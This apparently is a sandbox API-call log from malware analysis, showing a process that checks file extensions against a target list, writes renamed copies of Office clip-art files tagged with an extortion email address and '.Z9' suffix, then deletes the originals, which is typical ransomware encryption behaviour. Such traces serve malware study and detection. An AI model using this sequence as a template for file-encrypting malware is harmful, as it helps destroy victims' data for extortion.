	[0186.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0186.322] lstrlenW (lpString=".jpg") returned 4
	[0186.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.322] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0186.322] lstrlenW (lpString="J0153302.WMF") returned 12
	[0186.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414
	[0186.323] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=30800) returned 1
	[0186.323] CloseHandle (hObject=0x414) returned 1
	[0186.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf")) returned 0x220
	[0186.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414
	[0186.324] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.324] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0186.325] GetLastError () returned 0x0
	[0186.325] ReadFile (in: hFile=0x414, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x7850, lpOverlapped=0x0) returned 1
	[0186.327] WriteFile (in: hFile=0x55c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x7860, lpOverlapped=0x0) returned 1
	[0186.329] ReadFile (in: hFile=0x414, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.329] WriteFile (in: hFile=0x55c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.329] SetEndOfFile (hFile=0x55c) returned 1
	[0186.329] CloseHandle (hObject=0x55c) returned 1
	[0186.329] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.329] SetEndOfFile (hFile=0x414) returned 1
	[0186.504] CloseHandle (hObject=0x414) returned 1
	[0186.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf")) returned 1
	[0186.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0186.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0186.736] lstrlenW (lpString=".doc") returned 4
	[0186.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.736] lstrlenW (lpString=".docx") returned 5
	[0186.736] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0186.736] lstrlenW (lpString=".pdf") returned 4
	[0186.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.736] lstrlenW (lpString=".xls") returned 4
	[0186.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.736] lstrlenW (lpString=".xlsx") returned 5
	[0186.736] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0186.736] lstrlenW (lpString=".ppt") returned 4
	[0186.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0186.736] lstrlenW (lpString=".zip") returned 4
	[0186.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.736] lstrlenW (lpString=".rar") returned 4
	[0186.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.736] lstrlenW (lpString=".bz2") returned 4
	[0186.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.736] lstrlenW (lpString=".7z") returned 3
	[0186.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0186.736] lstrlenW (lpString=".dbf") returned 4
	[0186.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0186.736] lstrlenW (lpString=".1cd") returned 4
	[0186.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0186.737] lstrlenW (lpString=".jpg") returned 4
	[0186.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0186.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0186.737] lstrlenW (lpString=".doc") returned 4
	[0186.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.737] lstrlenW (lpString=".docx") returned 5
	[0186.737] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0186.737] lstrlenW (lpString=".pdf") returned 4
	[0186.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.737] lstrlenW (lpString=".xls") returned 4
	[0186.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.737] lstrlenW (lpString=".xlsx") returned 5
	[0186.737] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0186.737] lstrlenW (lpString=".ppt") returned 4
	[0186.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0186.737] lstrlenW (lpString=".zip") returned 4
	[0186.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.737] lstrlenW (lpString=".rar") returned 4
	[0186.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.737] lstrlenW (lpString=".bz2") returned 4
	[0186.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.737] lstrlenW (lpString=".7z") returned 3
	[0186.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0186.737] lstrlenW (lpString=".dbf") returned 4
	[0186.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0186.737] lstrlenW (lpString=".1cd") returned 4
	[0186.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68
	[0186.737] lstrlenW (lpString=".jpg") returned 4
	[0186.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.738] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0186.738] lstrlenW (lpString="J0153398.WMF") returned 12
	[0186.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0186.857] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=17508) returned 1
	[0186.857] CloseHandle (hObject=0x2d0) returned 1
	[0186.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf")) returned 0x220
	[0186.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0187.203] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.203] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0187.204] GetLastError () returned 0x0
	[0187.204] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x4464, lpOverlapped=0x0) returned 1
	[0187.235] WriteFile (in: hFile=0x334, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x4470, lpOverlapped=0x0) returned 1
	[0187.239] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.239] WriteFile (in: hFile=0x334, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.239] SetEndOfFile (hFile=0x334) returned 1
	[0187.239] CloseHandle (hObject=0x334) returned 1
	[0187.239] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.239] SetEndOfFile (hFile=0x2d0) returned 1
	[0187.242] CloseHandle (hObject=0x2d0) returned 1
	[0187.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf")) returned 1
	[0187.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0187.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0187.244] lstrlenW (lpString=".doc") returned 4
	[0187.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.244] lstrlenW (lpString=".docx") returned 5
	[0187.244] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0187.244] lstrlenW (lpString=".pdf") returned 4
	[0187.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.244] lstrlenW (lpString=".xls") returned 4
	[0187.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.244] lstrlenW (lpString=".xlsx") returned 5
	[0187.244] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0187.244] lstrlenW (lpString=".ppt") returned 4
	[0187.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0187.244] lstrlenW (lpString=".zip") returned 4
	[0187.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.244] lstrlenW (lpString=".rar") returned 4
	[0187.244] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.244] lstrlenW (lpString=".bz2") returned 4
	[0187.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.244] lstrlenW (lpString=".7z") returned 3
	[0187.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0187.244] lstrlenW (lpString=".dbf") returned 4
	[0187.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0187.244] lstrlenW (lpString=".1cd") returned 4
	[0187.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0187.244] lstrlenW (lpString=".jpg") returned 4
	[0187.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0187.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0187.245] lstrlenW (lpString=".doc") returned 4
	[0187.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.245] lstrlenW (lpString=".docx") returned 5
	[0187.245] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0187.245] lstrlenW (lpString=".pdf") returned 4
	[0187.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.245] lstrlenW (lpString=".xls") returned 4
	[0187.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.245] lstrlenW (lpString=".xlsx") returned 5
	[0187.245] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0187.245] lstrlenW (lpString=".ppt") returned 4
	[0187.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0187.245] lstrlenW (lpString=".zip") returned 4
	[0187.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.245] lstrlenW (lpString=".rar") returned 4
	[0187.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.245] lstrlenW (lpString=".bz2") returned 4
	[0187.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.245] lstrlenW (lpString=".7z") returned 3
	[0187.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0187.245] lstrlenW (lpString=".dbf") returned 4
	[0187.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0187.245] lstrlenW (lpString=".1cd") returned 4
	[0187.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68
	[0187.246] lstrlenW (lpString=".jpg") returned 4
	[0187.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.246] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0187.246] lstrlenW (lpString="J0153508.WMF") returned 12
	[0187.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0187.260] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=34256) returned 1
	[0187.260] CloseHandle (hObject=0x2d0) returned 1
	[0187.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf")) returned 0x220
	[0187.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0187.260] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.261] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0187.262] GetLastError () returned 0x0
	[0187.262] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x85d0, lpOverlapped=0x0) returned 1
	[0187.278] WriteFile (in: hFile=0x334, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x85e0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x85e0, lpOverlapped=0x0) returned 1
	[0187.279] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.279] WriteFile (in: hFile=0x334, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.279] SetEndOfFile (hFile=0x334) returned 1
	[0187.279] CloseHandle (hObject=0x334) returned 1
	[0187.279] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.280] SetEndOfFile (hFile=0x2d0) returned 1
	[0187.413] CloseHandle (hObject=0x2d0) returned 1
	[0187.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf")) returned 1
	[0187.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0187.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0187.641] lstrlenW (lpString=".doc") returned 4
	[0187.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.641] lstrlenW (lpString=".docx") returned 5
	[0187.641] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0187.641] lstrlenW (lpString=".pdf") returned 4
	[0187.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.641] lstrlenW (lpString=".xls") returned 4
	[0187.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.641] lstrlenW (lpString=".xlsx") returned 5
	[0187.641] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0187.641] lstrlenW (lpString=".ppt") returned 4
	[0187.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0187.641] lstrlenW (lpString=".zip") returned 4
	[0187.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.641] lstrlenW (lpString=".rar") returned 4
	[0187.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.641] lstrlenW (lpString=".bz2") returned 4
	[0187.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.642] lstrlenW (lpString=".7z") returned 3
	[0187.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0187.642] lstrlenW (lpString=".dbf") returned 4
	[0187.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0187.642] lstrlenW (lpString=".1cd") returned 4
	[0187.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0187.642] lstrlenW (lpString=".jpg") returned 4
	[0187.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0187.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0187.642] lstrlenW (lpString=".doc") returned 4
	[0187.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.642] lstrlenW (lpString=".docx") returned 5
	[0187.642] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0187.642] lstrlenW (lpString=".pdf") returned 4
	[0187.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.642] lstrlenW (lpString=".xls") returned 4
	[0187.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.642] lstrlenW (lpString=".xlsx") returned 5
	[0187.642] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0187.642] lstrlenW (lpString=".ppt") returned 4
	[0187.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0187.642] lstrlenW (lpString=".zip") returned 4
	[0187.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.642] lstrlenW (lpString=".rar") returned 4
	[0187.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.642] lstrlenW (lpString=".bz2") returned 4
	[0187.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.642] lstrlenW (lpString=".7z") returned 3
	[0187.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0187.642] lstrlenW (lpString=".dbf") returned 4
	[0187.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
